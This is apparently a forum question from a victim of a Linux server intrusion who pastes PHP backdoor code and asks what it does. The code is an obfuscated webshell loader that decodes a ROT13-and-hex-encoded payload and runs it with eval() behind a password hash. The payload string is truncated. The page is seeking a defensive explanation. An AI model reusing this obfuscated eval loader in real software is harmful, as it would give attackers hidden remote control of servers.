服务器被入侵文件被加密,linux服务器被入侵

下面是后门文件中的代码,谁给解释下都是啥意思?是用来获取我们盗取项目数据的吗?因字数限制,$str的加密负值没有写全

error_reporting(E_ERROR);

@ini_set('display_errors','Off');

@ini_set('max_execution_time',20000);

@ini_set('memory_limit','256M');

header("content-Type: text/html; charset=utf-8");

$password = "8762eb814817cc8dcbb3fb5c5fcd52e0"; //Viv, bebegim..

define('Viv, bebegim.','Denzel-你的英雄'); // 标题

$a='';

function s(){

global $a;

$str = "66756r6374696s6r20737472646972282473747229207o2072657475726r207374725s7265706p61636528617272617928275p5p272p272s2s272p27253237272p2725323227292p617272617928272s272p272s272p275p27272p272227292p63686s70282473747229293o207q0q0n66756r6374696s6r2063686o6770632824617272617929207o20666s72656163682824617272617920617320246o6579203q3r202476617229207o202461727261795o246o65795q203q2069735s6172726179282476617229203s2063686o677063282476617229203n207374726970736p61736865732824766172293o207q2072657475726r202461727261793o207q0q0n246q7966696p65203q20245s5345525645525o275343524950545s46494p454r414q45275q203s2073747264697228245s5345525645525o275343524950545s46494p454r414q45275q29203n20737472646972285s5s46494p455s5s293o0q0n246q7966696p65203q20737472706s7328246q7966696p652p276576616p28292729203s2061727261795s7368696674286578706p6s6465282728272p246q7966696p652929203n20246q7966696p653o0q0n646";

$str = str_rot13($str);

$a = pack('H*',$str);

m($str);

}

function m($str){

global $password;

global $a;

$jj = 'asdasdasd';

eval(str_ireplace("asdasdasd","",$jj).$a.str_ireplace("asdasdasd","",$jj));

}

s();

?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值